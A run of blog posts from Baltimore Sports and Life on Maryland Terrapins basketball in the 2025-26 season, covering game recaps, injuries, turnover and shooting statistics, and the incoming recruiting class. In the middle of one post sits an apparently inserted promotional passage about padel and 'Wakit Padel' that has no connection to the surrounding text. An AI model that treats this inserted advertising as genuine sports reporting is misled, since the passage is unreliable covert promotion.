It’s a safe bet that MD will be looking to add a Center in the portal.

Currently I’m thinking it would look like a starting group of Rice, Adams, Oladoton, Tambedou, and a Portal 5; with Mills, Watts, Passmore, House, Del Pino, Tukrson, Alston, and Brown as reserves.

I don’t know if it’s realistic to expect Tambedou to start immediately. He’s described has having strong physicality and athleticism though.

Lots of guards and wings.  Maybe some of that shakes out with portal departures, and we see additional bigs added.

The post Resetting Things For Terps Basketball appeared first on Baltimore Sports and Life.

They haven’t just been picking up wins on the court however, as head coach Buzz Williams and his staff locked up what’s currently ranked as the 3rd-best 2026 recruiting class in the country. If that ranking holds, it’d be Maryland’s best class since 2003 when former head coach Gary Williams landed G Mike Jones and F Ekene Ibekwe. The class is anchored by 5-star F Baba Oladotun (Silver Spring, MD), the program’s second-highest recruit since recruiting rankings began more than two decades ago, behind only Derik Queen. 4-star G Kaden House (Chandler, AZ), 4-star F Adama Tambedou (Putnam, CT), and 3-star F Austin Brown (Lufkin, TX) round out this excellent group of incoming freshmen.

The Terrapins will play two more games in Sin City, including their toughest test of the season thus far tonight against #12 Gonzaga, before heading back home for a matchup with Wagner next Tuesday night. They’ll follow that up with two early conference games against Iowa and Michigan. That game against the Wolverines on December 13th is one to circle on the calendar, as it represents Maryland’s first home conference game against a team that KenPom’s rankings currently have as the #5 team in the country and the second-best team in the conference only behind Purdue. Dusty May’s team has been excellent so far this year, and beat San Diego State by 40 points last night in their first game in Las Vegas.

Strong early-season performances combined with high-level recruiting momentum have continued to generate optimism surrounding the program’s long-term direction, particularly as younger players prepare to enter one of the most competitive stretches of conference play in recent years. Matchups against nationally ranked opponents will provide valuable opportunities to test roster depth, defensive consistency, and late-game execution while also giving incoming recruits a clearer picture of the competitive environment they are preparing to join. Continued success both on the court and on the recruiting trail reflects how collegiate athletics increasingly depend on player development, program culture, and the ability to build sustained excitement around team identity throughout the season.

Rising national attention has also contributed to broader conversations surrounding athletic performance, training culture, and the expanding role sports communities play in shaping year-round engagement among athletes and fans alike. Growing enthusiasm around competitive sports has extended well beyond traditional collegiate programs, with racquet sports such as padel experiencing rapid growth among younger athletes and recreational competitors seeking fast-paced, social forms of competition.

The sport combines elements of tennis and squash on enclosed courts designed to encourage longer rallies, strategic positioning, and doubles-based teamwork, making it appealing to players across different experience levels. Interest surrounding clubs and training environments connected to Wakit Padel reflects how modern sports communities are increasingly centered around accessibility, fitness, and shared participation rather than purely elite competition. Continued expansion of these recreational athletic spaces has created new opportunities for individuals to remain active, develop technical skills, and engage with sports culture in environments that balance competitive energy with social interaction and long-term wellness.

If Maryland wants to compete in games like that one against Michigan, they’ll need to clean up their turnover issues. They had a whopping 20 turnovers in their win over UNLV, including 15 in the first half. The Runnin’ Rebels zone defense certainly played a role in their sloppiness, but this has been a problem through the first three weeks of the season. As a team, the Terrapins are averaging 14.3 turnovers per game and have turned the ball over on nearly 20% of their possessions. During his post-game interview following last night’s game, Williams said he’d prefer his team simply hand the ball over to their opponents at the end of the shot clock because at least that’d be a dead-ball turnover. Hopefully getting Myles Rice back and fully integrated into the point guard position will clean up some things, but it’s definitely something they’ll need to fix heading into conference play.

Overall, the team’s performance thus far is likely what many expected coming into this season particularly given the injuries they’ve suffered to key players. They’re clearly a work in progress, and while they have a handful of good pieces they’ve yet to put it all together. Despite that, they’re playing hard in every game and it’s resulted in five wins. With just over a month until conference play gets fully underway, they still have some time to work out the kinks but will need to stay healthy if they want to reach their full potential.

Many people wondered what Williams’ recruiting would look like when he took over as the Terrapins’ head coach, given that this is likely the best environment for obtaining talent that he’s enjoyed during his coaching career. In just a few months, he’s added two of the highest-rated recruits the program has had during the last few decades (Oladotun and Darius Adams) and already has one of the best recruiting classes in program history. While this season’s team may be a little rough around the edges given how quickly it was cobbled together, the future certainly seems bright in College Park.

The post Maryland Winning On and Off Court to Begin 2025-26 Season appeared first on Baltimore Sports and Life.

The Terps have had some early adversity that could hinder or mold this year’s squad as a key stretch of the schedule looms.

Maryland’s only loss this year was a disappointing home letdown against nearby Georgetown back on November 7th. And while the Terps have rattled off three wins in a row against three inferior rosters since, it hasn’t been easy and hasn’t always looked pretty.

Even the most impressive win of that stretch — 89-82 over Marquette — had a degree of disappointment due to a scary moment involving starting center Pharrel Payne, who had to be stretchered off the court with a lower body injury.

When Payne went down, it felt like a season ending injury.

Since then, the news with Payne has been surprisingly positive; and it appears he might be back soon.

Maryland was without Payne against Mount St. Mary’s, and the Terps needed Overtime (and a Xfinity Center record 41 point from Diggy Coit) to survive being upset by the Metro Atlantic Athletic Conference Mountaineers.

Against MSM, MD was missing two other projected starters –  Myles Rice (1 game so far this year, with a lingering ankle injury), and Solomon Washington (also an ankle injury).
Rice is expected to lead MD as the PG, and Washington has been billed as Maryland’s best perimeter defender.

On top of those injuries, MD was also without reserve George Turkson Jr.

A pessimistic view of that game would be, “Maryland should be able to beat Mount St. Mary’s, even with 3 starters missing.” 

An optimistic view of the result would be, “Maryland found a way to win.  MSM was a tournament team a year ago. They got 40+ points from a reserve guard.  It’s understandable that MD is not totally in-sync considering the missing starters, and the limited time this roster has been able to practice together. And worth reminding that Coach Buzz Williams put this roster together completely on the fly after taking the job in April.”

The Concerns

Injuries

Again, recent reports suggest Payne could be back soon, but the Terps’ first game without him didn’t go great. Maryland found itself in overtime at home Wednesday night with Mount St. Mary’s — KenPom’s 268th-ranked team. Did Payne make that much of a difference, or did the Terps just not adjust effectively? Regardless, a five-point Maryland win felt a lot more like a moral victory for the visiting team.

In Payne’s absence, fellow senior Collin Metcalf slid into the starting lineup against the Mountaineers. His performance didn’t inspire a ton of faith that he can be a reliable stopgap until Payne returns. Despite the start, Metcalf played just 15 minutes and scored no points while collecting 4 rebounds. Senior power forward Elijah Saunders picked up some of the slack in the paint with a 14-point, 5-rebound performance, but it was very evident that Maryland is lacking size and reliability down low with Payne out of the lineup.

Maryland’s 6-foot-10 freshman Aleks Alston also received some run against Mount St. Mary’s, using his 10 minutes to score 3 points and rip down 2 boards. Perhaps he can develop and give the Terps some meaningful minutes, but it’s not going to be easy to replace a senior with a freshman.

Metcalf did start 29 games for Northeastern last year, and averaged 2.4 blocks per game.  When called upon this year, MD is going to need the Senior to provide some type of defensive presence, and rebounding.

You’d like to think the offense as whole would look crisper when Rice is consistently available. The former Pac 12 Rookie of the Year / 1st Team All Pac guard, should be able to help.

The defense hasn’t been good enough yet, and you’d similarly like to think that Washington will be able to make a difference on the perimeter.

Turnovers

The Terps are currently averaging just over 13 turnovers per game. And they haven’t even faced their stiffest competition yet. Winning at this pace while not taking care of the ball is not sustainable.

Maryland ranks 186th in the country in turnover percentage on offense according to KenPom. That’s not going to cut it in Big Ten play, or a against a team like Gonzaga, who the Terps play on November 25 and boast the 3rd-ranked defense in college basketball.

The Big Ten currently has seven teams with a top-30 defense, according to KenPom, and Wisconsin ranks 31st. The Terps play all seven of these elite defenses in their first nine conference games this season. Correcting the turnovers have to be a priority for Williams or some of these games could get ugly.

Again, the numbers here aren’t particularly surprising since Rice has played once, and Washington has yet to play at all.

Shooting/Offensive Rebounding

It’s relatively simple. If you can’t shoot well, you better be able to get some offensive boards or you’re in for a long day as a basketball team.

Per KenPom, Maryland currently ranks 163rd or worse in offensive rebound percentage, 2-point field goal percentage, 3-point field goal percentage, and effective field goal percentage. The Terps have scored many of their points at the free-throw line or in transition off of turnovers they’ve created, which is great, but not always sustainable.

Teams that can’t shoot don’t typically fare well in basketball as the sample size gets larger, and those problems are compounded when you’re unable to collect some of the misses and maintain possession.

Reasons for Hope

Getting Healthier

It seems like a catastrophic Payne injury has been avoided. A player of that caliber avoiding major injury, especially when it looked as bad as it did initially, is always a positive.

It appears Rice could be close to returning from his ankle injury as well. Getting back two key pieces should give Maryland a boost as it enters a more challenging portion of the schedule.

We’ll see if either can suit up for the November 24th game against UNLV, which will be a semi-home affair in Nevada for the Running Rebels and a tough spot for the Terps.

Immediate Opportunity

With great challenges comes great opportunity. That’s how Maryland needs to approach the rest of its schedule, particularly some upcoming games.

The second game of Maryland’s participation in the Players Era Festival in Paradise, Nevada, next week is a matchup with No. 13 Gonzaga. The Bulldogs are no joke, but the Terps are dodging a bullet by not having to play them out in Spokane.

A neutral site should give Maryland a better chance to pull the upset, which presents an opportunity for the first marquee win of the Williams era. It won’t be easy and will require a clean game from the Terps, as Gonzaga owns one of the best defenses in college basketball and will make teams pay for their mistakes with explosive offense at the other end.

But even a closely contested loss there could help build confidence and springboard the Terps into Big Ten play.

Future Looks Bright

While not particularly helpful to this year’s team, a strong recruiting class for next year can make a rebuilding season more tolerable for a coaching staff and fan base.

Williams has always been a solid recruiter, and that hasn’t changed. With the signing of Austin Brown, Kaden House, Adama Tambedou, and Baba Oladotun on November 20th, Maryland currently has the No. 3-ranked recruiting class in the country.

In his brief time at the helm in College Park, Williams has already signed three of Maryland’s top nine highest-ranked recruits in the past 15 years. Not only does the current class look stacked, but it also stands to reason that Williams will consistently bring talent into his program year after year

The post Terps 4-1; Headed To Players Era Festival appeared first on Baltimore Sports and Life.

One thing I mentioned in that article was that I had spent most of the Spring and Summer feeling good about the roster Coach Buzz Williams created on the fly.
And then I had spent the last couple of weeks leading up to the Coppin game becoming increasingly concerned.

Most of the concern was injury related, and the poor exhibition performance vs. UMBC.
The other thing that was increasing my anxiety was Williams telling the press that MD had only had a handful of practices he deemed acceptable for a high-major D1, due to the injuries suffered in camp.

Each of his players are adjusting to College Park.
Outside of his A&M transfers, everyone is adjusting to his system.
All of the players are learning to mesh together.
Williams is learning exactly what he has, and figuring out how to best utilize.

With that in-mind, I’ll give MD a bit of a pass for their poor outing in the home opener vs. Georgetown.

The loss isn’t particularly important if MD is able to take lessons from the defeat.

Sure, you’d like to defend your home court and have the out-of-conference W for the resume; but an early November loss isn’t going to break you.

Quick Takes: 

1) After missing the opener, Myles Rice was active and led MD with 19 points.  Rice was a perfect 10 of 10 at the line, and also had 7 boards. On the negative side of the ledger, Rice had 4 turnovers. Seemed to me he was playing a bit too fast a times, and wasn’t completely in-sync with his teammates.  Comfortability for himself and his teammates should come with increased practice and game experience.

2) Freshman Darius Adams played 24 minutes for the second straight game. After 16 points in the opener, he was held to 3 vs. the Hoyas.  After two games, Adams is now 0 for 7 from 3.  I think Adams has a quality first step, and looks like he enjoys going to the basket. Have to shoot well enough from 3 to keep defenders honest. Did have 6 boards vs. GT.  After getting to the line for 12 attempts vs. Coppin, just 2 attempts vs. GT.

3) MD had an abysmal shooting night. They were just 13 of 52 from the floor, including 4 of 21 from 3. Won’t win many games when you struggle like that.  What MD did well offensively was get to the line. The Terps were 30 of 37 from the charity stripe.

4) Pharrel Payne had another big game, with 17 points, 11 boards, and 2 blocks. He was working hard on both ends; and on the floor for 38 minutes. Again, he made just 58% of his Free Attempts last year, averaging 4.9 attempts per game. Through two games this year, Payne is 22 of 24 (92%). With the extended minutes, he looked gassed at times. It was noticeable that against a better opponent, that Williams didn’t find any time for Collin Metcalf or Aleks Alston. If Williams can find a few minutes for Metcalf each game, and give Payne a chance to catch his breath; that should be helpful.

5) David Coit scored in double figures again off the bench. Just 2 of 9 in this game from 3.  In the two games played, 15 of his 22 FG attempts have been from 3.  Would like to see some more diversity in shot selection in this next game.

6) Isaiah Watts had 18 minutes, and did not score.  He was 0 for 4 from 3.  Two years ago, Watts was Rice’s running mate at Washington State.  Last year, Watts averaged 11 points per game for the Cougars. MD is going to need regular production from him.

7) Andre Mills had three 3’s in the opener, and was 1 of 3 from 3 vs. Georgetown.  This team figures to shoot better than the team two years ago which couldn’t shoot at all, but not as good as last year’s team which had multiple players capable of getting hot.  If Mills can hit a few shots a game, he can continue to earn playing time. Like Coit, you want to see more diversity (a mid-range game?) in his shot selection (10 of his 11 FG attempts have been from 3).  One other note, after going 2 for 2 from the charity strip in the opener, Mills was 3 of 6 vs. Georgetown.

8) Elijah Saunders did have 7 boards vs. Georgetown, but he finished with just 5 points.  No 3 point attempts in this game for Saunders (2 of 5 vs. Coppin). Only  2 FT attempts in the two games (2.7 attempts per game last year) so far for the Senior PF. There should be consistency available from Saunders, and I think his teammates need to look for him.

9) So, we know Rakease Passmore was lost for the year to injury, which is unfortunate. Before the opener vs. Coppin; we weren’t sure about the status of Rice, Coit, Watts, and Solomon Washington.  With Rice playing vs. the Hoyas, we’ve seen everyone who can contribute this year aside from Washington. By all reports, Washington will be MD’s best defender.  Hopefully he’s back soon, and can build familiarity with his teammates.

10) Wasn’t good that MD got down as many as 20 points in this game, but I liked that they kept playing. They had multiple moments where they seemed to be on the verge of getting back into the game; but they just couldn’t get a shot to fall, or get a needed stop. The effort was there though.

11) There is enough talent on this roster to get to the NCAA Tournament.  If you squint hard enough, I think here is enough talent on the roster, to build into a Top 25 team at some point this year – as the players and coaching staff get more familiar with each other. It won’t be easy though. Payne is a good player and a stat-filler, but he’s not the talent of Derik Queen. Selton Miguel, Ja’Kobi Gillespie, and Rodney Rice buried a lot of shots last year. And they had different ways of attacking you. I’m not sure this MD team has a guard / wing with their offensive game. What Buzz Williams does have imo, is a pretty deep roster of usable guys. Between learning to play together, and a team of not-great shooters; there will probably be some ugly games.  My expectation is that they’ll get better month-to-month and claw and compete most nights.

Up-Next: 

Maryland has Alcorn State up next on Tuesday night. Obviously that would be shocking if it was not a win.  What matters is how MD plays.  After that, MD trips to Marquette on Saturday. In that game, MD is currently given a 56% chance of winning per ESPN’s Match-Up Predictor.

CBS Sports’ Matt Norlander previewed his Top 100 teams to start the year, and had Marquette as his 25th best team, stating:

I don’t think you’ll find anyone else as high on Marquette as me. We’ll see if my faith in Shaka Smart’s unique approach to roster fashioning pays off, because I can tell you a lot of people in and around that program are intrigued to see how this goes over the next five months. Marquette, again, is not bringing in a transfer. The only other places among the 360-ish schools in D-I where this is also true are military academies or Ivy/Patriot League programs, where scholarships aren’t available. To do this amid the most portal-frenzied era ever is an act of hubris, defiance, trust and faith. I’m riveted.

The post Georgetown Wins At Maryland; Quick Takes appeared first on Baltimore Sports and Life.

On March 22nd of this year, MD reached the Sweet 16, with Derik Queen hitting the game winner.

That game is more than just 8 months ago; it represents a previous era.

By the start of April, Williams had taken over the Maryland program.

In the ensuing Months he brought on 15 new players, including 4 that transferred from his previous position at Texas A&M.

We looked at some of the initial additions here.  My colleagues Pat Donohue, and Zack Kiesel did the same as the additions continued.

Before things tipped of Monday, Rakease Passmore suffered a season ending Achilles.

Against Coppin State, the Terps played without projected started Myles Rice, and Solomon Washington.

Here we give some impressions from what we saw from MD vs. the Eagles, and look ahead to tomorrow night’s home opener vs. Georgetown.

Quick Hits

• Coppin is in the Mid-Eastern Athletic Conference (MEAC) and most season projections have Coppin as being one of the worst teams in the MEAC, and Division 1 as a whole. My take after seeing the Eagles was that if the shot-making they showed vs. Maryland holds, Larry Stewart’s team might surprise in the MEAC. Like Williams and Maryland; Stewart has a bunch of transfers. For a team that was outmatched physically everywhere, I thought the Eagles competed and showed signs of life.  For MD, when you have athletic and skill advantages everywhere; you expect to win – even if you were missing two starters. I spent the Spring and Summer getting increasingly more excited about Williams’ first Maryland roster, only to find myself getting a little nervous as this game arrived. The 1 point exhibition win vs. UMBC didn’t help, nor did the rash of injuries. Besides being without Rice, and Washington (and Passmore), going into the game it wasn’t known if David Coit and Isiah Watts were going to be able to suit-up.  My primary takeaway from Monday was that I came away encouraged. I loved Williams’ energy from the bench. I loved that he had players in and out, and was constantly coaching them up.  You saw good depth from the Terps, and they controlled the game as they should have.
• 8 different Terps played at-least 13 minutes.  10 played at-least 6. Without their starting PG (Rice), MD only had 12 turnovers.  Maryland made 10 three-pointers, with four different players each having at-least 2. The Terps won on the boards, and were 23 of 25 at the line.  All positives.
• While this is a new team for MD, I thought it was important for Williams that he had the four A&M transfers join him in College Park.  I’ve been interested in seeing what MD had in Andre Mills and George Turckson Jr, who both redshirted last year as Aggies. These were quality recruits, who clearly utilized the past year to get better. And no surprise that they look comfortable in their second year in Williams’ system. Mills was hungry. 13 points (3 of 7 from 3), 6 boards, 2 steals, 1 block.  He played 30 minutes Monday night.  I’m not sure what minutes he’ll be in-line for going forward, but I’m now confident in him being a contributing role player. That’s significant. Turckson didn’t score, but he did have 5 boards. He looked strong.
• Took me about two minutes of action to like Del Pino. My guess is that the Spanish Freshman doesn’t end up playing much this year, but I bet I like the minutes he does find. He didn’t score in his 13 minutes, but he looked heady to me.
• David ‘Diggy’ Colt, didn’t play a ton last year at Kansas (15.5 minutes per), but he averaged 21 points per game the year prior at Northern Illinois. We weren’t sure if he was going to be available Monday, and he played 28 minutes, scoring 13 points (4 of 9 from the floor), with 4 boards, 4 assists, and 2 steals. Energy and experience. He’s going to get a lot of run for MD, and be an important piece.  We also weren’t sure Watts was going to go, but he also played 23 minutes.  Coit and Watts combined to go 5 of 12 from 3.
• Solomon Washington’s defense has been lauded by everyone, and I’m looking forward to seeing him once available. I’ve seen him listed as a SF by most, but I think he’s going to get a lot of time as a PF for MD. The reason I say that, is because I’m not sure how much MD is going to get from reserve bigs Collin Metcalf (Senior) and Aleks Alston (Freshman). Metcalf has experience, which I like. He started 29 games for Northeastern last year, and averaged 5 boards and 2.4 blocks. I thought he looked slow vs. Coppin, and I was disappointed that he and Alston had 0 boards in their 12 combined minutes of action. So, what I think happens at time is when Pharrel Payne needs a break, Elijah Saunders will play up at the 5, and Washington will get run at the 4. Maybe I’ll be wrong, but that’s my early take. If Metcalf can rebound, and shot-block and use his 5 fouls; that will be useful.
• Saunders had a steal he was able to tip out to himself at midcourt, and then he finished with a nice slam. He’s not freak athlete like Chris Wilcox, Ekene Ibekwe; but he moves well, and his ability to shoot (2 of 5 from 3) is big. I think how Saunders goes many nights will be a barometer for MD as a whole. Saunders averaged 5 boards in 27 minutes per last year for Virginia. Just 3 against Coppin. MD will need him to do work on the glass.
• Payne finished with a game high 21 points, going 6 of 8 from the floor, and making all 9 of his free throws (58.2% from the line last year). He’s strong, he’s physical. He plays like he wants to make a statement. I liked that he didn’t let Coppin’s defensive swarming take him out of the game. He’s in line for a very big year.
• 5 Star Freshman Darius Adams showed zero fear. He was 0 for 5 from 3, but he he still finished with 16 points because he was 10 of 12 at the line. Also showed an ability to get to the basket. Nice debut.
• I’d be encouraged if the roster Monday was the roster going forward.  Instead you are going to add your starting PG (Rice) – who was 1st team Pac 12, and that conference’s Freshman of the Year – two years ago, and apparently your best defensive player in Washington.  Will be fun to seem them all together, and the month-to-month progression. If MD hits 8 to 10 three’s a game, and gets to the line (and converts like they did Monday), this team will most definitely surprise people.

Up-Next

• Maryland hosts Georgetown tomorrow in the home opener (6PM, FS1).  The Hoyas beat Top 10 Kentucky a week ago in an exhibition. And they started their actual season with an 87-70 win over Morgan State. In that game, the Hoyas were 4 of 26 from 3, and 27 of 39 at the line. Ten different Hoyas played at-least 15 minutes, The backcourt starters – KJ Lewis (Arizona transfer this year), and Malik Mack (Harvard transfer last year) seem solid. ESPN’s Match-up Predictor is giving the Terps an 88.7% chance of winning. (Feels a bit high, no?)  Maryland and Georgetown have not met since 2016, and this will be the first of a four-game series between the two neighboring schools. Georgetown was predicted to finish 6th in the Big East’s Preseason Coaching Poll. Ed Cooley (the 2022 Naismith Head Coach of the Year) is in his third year at Georgetown. In addition to Lewis, Cooley brought in 5 other transfers including former Terp DeShawn Harris-Smith.   CBS Sports’ Matt Norlander recently had his compilation of the Nation’s Top 100 teams to enter the season. He had MD 51st, and Georgetown 57th. His comments on Georgetown:“Find me in Year 3″ was what Ed Cooley told me a couple of years back when we were discussing the reality of the rebuild at Georgetown and what it was going to take to turn that battleship around. Well, this is Year 3. Cooley’s record at the school is 27-39. I don’t need to see an NCAA Tournament team, but I do need to see a team that is in the bubble conversation entering February. Georgetown has the pieces to move up a tier in the Big East. Malik Mack is back to run the offense, supported by four role players who should grow into a stronger unit. Georgetown doesn’t have a single freshman on its roster, the only high-major (maybe the only school in the country?) where that is the case. Transfers KJ Lewis (Arizona), Langston Love (Baylor) and Vincent Iwuchukwu (St. John’s) clearly make this team streets ahead of the past two. Lewis might be a top-10 defender in America.”

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